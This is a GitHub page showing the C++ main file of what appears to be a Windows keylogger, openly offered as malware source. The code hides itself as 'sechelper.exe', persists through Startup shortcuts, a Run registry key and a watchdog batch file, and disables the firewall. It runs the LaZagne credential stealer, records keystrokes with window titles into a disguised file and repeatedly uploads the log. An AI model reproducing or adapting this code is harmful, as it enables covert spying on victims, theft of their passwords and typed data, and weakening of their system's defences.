-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMain.cpp
More file actions
267 lines (226 loc) · 10.8 KB
/
Main.cpp
File metadata and controls
267 lines (226 loc) · 10.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
#include <iostream>
#include <windows.h>
#include <wininet.h>
#include <direct.h>
#include <fstream>
#include <sstream>
#include <cstdlib>
#include <thread>
#include <aclapi.h>
#include "KeyConverter.h"
#include "FileHandler.h"
#include "FTPHandler.h"
#include "FirewallBypasser.h"
#include "Utils.h"
#pragma comment(linker, "/SUBSYSTEM:console /ENTRY:mainCRTStartup")
using namespace std;
bool firstRun;
const string sechelperPath = "C:\\ProgramData\\SecurityHelper";
//TODO: Create new file
void persist(){
if (!fileExists("C:\\ProgramData\\SecurityHelper\\systemchecker.bat")){
char batContent[2048];
strcpy(batContent, "attrib +s +h \"%~f0\"\r\n");
strcat(batContent, "SETLOCAL EnableExtensions\r\n");
strcat(batContent, "set EXE=sechelper.exe\r\n");
strcat(batContent, ":check\r\n");
strcat(batContent, "timeout /t 4\r\n");
strcat(batContent, "if not exist %APPDATA%\\Microsoft\\Windows\\\"Start Menu\"\\Programs\\Startup\\sechelper.lnk goto create\r\n");
strcat(batContent, "if not exist C:\\ProgramData\\SecurityHelper\\sechelper.exe goto createexe\r\n");
strcat(batContent, "if not exist C:\\Users\\Public\\Documents\\backup.rar goto createbackup\r\n");
strcat(batContent, "FOR /F %%x IN ('tasklist /NH /FI \"IMAGENAME eq %EXE%\"') DO IF %%x == %EXE% goto check\r\n");
strcat(batContent, "goto ProcessNotFound\r\n");
strcat(batContent, ":create\r\n");
strcat(batContent, "set SCRIPT=\"%TEMP%\\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs\"\r\n");
strcat(batContent, "echo Set oWS = WScript.CreateObject(\"WScript.Shell\") >> %SCRIPT%\r\n");
strcat(batContent, "echo sLinkFile = \"C:\\ProgramData\\SecurityHelper\\sechelper.lnk\" >> %SCRIPT%\r\n");
strcat(batContent, "echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %SCRIPT%\r\n");
strcat(batContent, "echo oLink.TargetPath = \"C:\\ProgramData\\SecurityHelper\\sechelper.exe\" >> %SCRIPT%\r\n");
strcat(batContent, "echo oLink.Save >> %SCRIPT%\r\n");
strcat(batContent, "cscript /nologo %SCRIPT%\r\n");
strcat(batContent, "del %SCRIPT%\r\n");
strcat(batContent, "copy C:\\ProgramData\\SecurityHelper\\sechelper.lnk %APPDATA%\\Microsoft\\Windows\\\"Start Menu\"\\Programs\\Startup\\sechelper.lnk /y\r\n");
strcat(batContent, "del C:\\ProgramData\\SecurityHelper\\sechelper.lnk\r\n");
strcat(batContent, "goto check\r\n");
strcat(batContent, ":createexe\r\n");
strcat(batContent, "attrib -s -h C:\\Users\\Public\\Documents\\backup.rar\r\n");
strcat(batContent, "copy C:\\Users\\Public\\Documents\\backup.rar C:\\ProgramData\\SecurityHelper\\sechelper.exe /y\r\n");
strcat(batContent, "attrib +s +h C:\\Users\\Public\\Documents\\backup.rar \r\n");
strcat(batContent, "attrib +s +h C:\\ProgramData\\SecurityHelper\\sechelper.exe \r\n");
strcat(batContent, "goto check\r\n");
strcat(batContent, ":createbackup\r\n");
strcat(batContent, "attrib -s -h C:\\ProgramData\\SecurityHelper\\sechelper.exe \r\n");
strcat(batContent, "copy C:\\ProgramData\\SecurityHelper\\sechelper.exe C:\\Users\\Public\\Documents\\backup.rar /y\r\n");
strcat(batContent, "attrib +s +h C:\\ProgramData\\SecurityHelper\\sechelper.exe \r\n");
strcat(batContent, "attrib +s +h C:\\Users\\Public\\Documents\\backup.rar \r\n");
strcat(batContent, "goto check\r\n");
strcat(batContent, ":ProcessNotFound\r\n");
strcat(batContent, "start C:\\ProgramData\\SecurityHelper\\sechelper.exe \r\n");
strcat(batContent, "goto check\r\n");
ofstream bat("C:\\ProgramData\\SecurityHelper\\systemchecker.bat");
bat << batContent;
bat.close();
}
runBatFile("C:\\ProgramData\\SecurityHelper\\systemchecker.bat");
}
BOOL RegisterMyProgramForStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args) {
HKEY hKey = NULL;
LONG lResult = 0;
BOOL fSuccess = TRUE;
DWORD dwSize;
const size_t count = MAX_PATH*2;
wchar_t szValue[count] = {};
wcscpy(szValue, L"\"");
wcscat(szValue, pathToExe);
wcscat(szValue, L"\" ");
if (args != NULL) {
// caller should make sure "args" is quoted if any single argument has a space
// e.g. (L"-name \"Mark Voidale\"");
wcscat(szValue, args);
}
lResult = RegCreateKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, (KEY_WRITE | KEY_READ), NULL, &hKey, NULL);
fSuccess = (lResult == 0);
if (fSuccess) {
dwSize = (wcslen(szValue)+1)*2;
lResult = RegSetValueExW(hKey, pszAppName, 0, REG_SZ, (BYTE*)szValue, dwSize);
fSuccess = (lResult == 0);
}
if (hKey != NULL) {
RegCloseKey(hKey);
hKey = NULL;
}
return fSuccess;
}
void RegisterProgram() {
wchar_t szPathToExe[MAX_PATH];
const wchar_t* path = s2wct("C:\\ProgramData\\SecurityHelper\\sechelper.exe");
wcscpy(szPathToExe, path);
RegisterMyProgramForStartup(L"Web browsers", szPathToExe, NULL);
}
void infect(){
mkdir(sechelperPath.c_str());
char pathLocation[MAX_PATH];
strcpy(pathLocation, sechelperPath.c_str());
strcat(pathLocation, "\\nananana.bat");
char startup[MAX_PATH]; //esto estaría bien meterlo en funciones
strcpy(startup, "C:\\Users\\");
strcat(startup, getUserName().c_str());
strcat(startup, "\\AppData\\Roaming\\Microsoft\\Windows\\\"Start Menu\"\\Programs\\Startup");
char sechelperLoc[MAX_PATH];
strcpy(sechelperLoc, startup);
strcat(sechelperLoc, "\\sechelper.lnk");
char batContent[2048];
bool sechelperExists = true;
if (!fileExists(sechelperPath.c_str()) || !fileExists("C:\\ProgramData\\SecurityHelper\\sechelper.exe")){
sechelperExists = false;
}
Sleep(2000);
if(!fileExists(sechelperLoc) || !sechelperExists){
strcpy(batContent, "set \"destino0=");
strcat(batContent, getExecutableFullPath().c_str());
strcat(batContent, "\"");
strcat(batContent, "\r\n");
strcat(batContent, "set \"destino1=%appdata%\\Microsoft\\Windows\\\"Start Menu\"\\Programs\\Startup\\\"\r\n"); //TODO: usar variable startup
strcat(batContent, "set \"destino2=C:\\ProgramData\\SecurityHelper\\\"\r\n");
strcat(batContent, "set \"destino3=C:\\ProgramData\\SecurityHelper\\sechelper.exe\"\r\n");
if(!sechelperExists){
strcat(batContent, "copy %destino0% %destino3% /y\r\n");
strcat(batContent, "attrib C:\\ProgramData\\SecurityHelper +s +h\r\n");
}
strcat(batContent, "set SCRIPT=\"%TEMP%\\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs\"\r\n");
strcat(batContent, "echo Set oWS = WScript.CreateObject(\"WScript.Shell\") >> %SCRIPT%\r\n");
strcat(batContent, "echo sLinkFile = \"%destino2%sechelper.lnk\" >> %SCRIPT%\r\n");
strcat(batContent, "echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %SCRIPT%\r\n");
strcat(batContent, "echo oLink.TargetPath = \"%destino3%\" >> %SCRIPT%\r\n");
strcat(batContent, "echo oLink.Save >> %SCRIPT%\r\n");
strcat(batContent, "cscript /nologo %SCRIPT%\r\n");
strcat(batContent, "del %SCRIPT%\r\n");
strcat(batContent, "xcopy %destino2%sechelper.lnk %destino1% /y\r\n");
strcat(batContent, "del %destino2%sechelper.lnk\r\n");
strcat(batContent, "attrib %destino3% +s +h\r\n");
strcat(batContent, "attrib %destino2%sysid.dat +s +h\r\n");
strcat(batContent, "attrib %destino2%systemconf.dll +s +h\r\n");
strcat(batContent,"DEL \"%~f0\"\r\n\0");
ofstream bat(pathLocation);
bat << batContent;
bat.close();
runBatFile(pathLocation);
RegisterProgram();
Sleep(2000);
if(firstRun){
runSechelper();
exit(0);
}
}
}
void Log(int limite_keystrokes){
string strings="";
int keys;
int keystrokes=0;
char currentWindowTitle[MAX_PATH];
char newWindowTitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), currentWindowTitle, sizeof(currentWindowTitle));
while(keystrokes<limite_keystrokes){
Sleep(5);
for(keys=8;keys<=256;keys++){
if(GetAsyncKeyState(keys)&1==1){
GetWindowText(GetForegroundWindow(),currentWindowTitle,sizeof(currentWindowTitle));
strings = convertKey(keys, keystrokes);
if(strcmp(currentWindowTitle, newWindowTitle)&& strings!="" && strings!="[TAB]"){
ofstream store("C:\\ProgramData\\SecurityHelper\\systemconf.dll", ios::app);
store << "\r\n" << "__________________________________________";
store << "\n" << "WINDOW: " << currentWindowTitle << "\n"
<< "CONTENT: ";
store.close();
strcpy(newWindowTitle, currentWindowTitle);
}
//cout << "Tecla pulsada: " << keys << endl;
storeKey(strings);
keystrokes++;
//cout << "llevas " << keystrokes << " keystrokes de " << limite_keystrokes << endl;
}
}
}
}
std::string getIdentification(){
std::ifstream id("C:\\ProgramData\\SecurityHelper\\sysid.dat");
std::string identification;
bool sendFileOnFirstRun = false;
if(id.good()){
if(isProcessRunning("sechelper.exe")){
exit(0);
}
else {
if(!fileExists("C:\\ProgramData\\SecurityHelper\\sechelper.exe"))
infect();
firstRun = false;
persist();
getline(id, identification);
id.close();
}
}
else{
firstRun = true;
identification = createId();
if(sendFileOnFirstRun){
sendFile(identification, firstRun);
}
runLazagne();
infect();
}
return identification;
}
int main(int argc, char *argv[]){
DWORD dwThreadId = 0;
CreateThread(NULL, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(DisableFirewall), NULL, 0, &dwThreadId);
string id = getIdentification();
int keystroke_limit=500;
//TODO: add support for firewall alerts in other languages
//TODO: add more character combinations
while(true){
Log(keystroke_limit);
sendFile(id, firstRun);
keystroke_limit+=500;
}
return 0;
}